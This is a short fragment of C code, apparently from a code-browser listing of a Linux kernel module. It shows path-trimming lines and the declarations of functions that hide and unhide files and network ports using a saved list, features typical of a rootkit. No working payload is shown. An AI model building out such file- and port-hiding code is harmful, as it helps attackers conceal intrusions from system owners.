29 if (strcmp(path,
"/") == 0)
32 if (strlen(path) >=
sizeof(modpath))
34 strscpy(modpath, path,
sizeof(modpath));
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] ==
'/') {
38 modpath[len - 1] =
'\0';
#define HIDE_PORT_CFG_FILE
int hide_file(const char *path)
int port_contains(const char *port)
int hide_contains_str(const char *u_path)
int port_list_get(char *buf, size_t buf_size)
struct ulist hide_port_list
int hide_list_get(char *buf, size_t buf_size)
int hide_port(const char *port)
void hide_port_exit(void)
int unhide_port(const char *port)
int unhide_file(const char *path)
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
void ulist_clear(struct ulist *ul)
int ulist_load(struct ulist *ul)
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
int ulist_save(struct ulist *ul)
int ulist_remove(struct ulist *ul, const char *value)
int ulist_contains(struct ulist *ul, const char *value)
static void ulist_init(struct ulist *ul, const char *fname)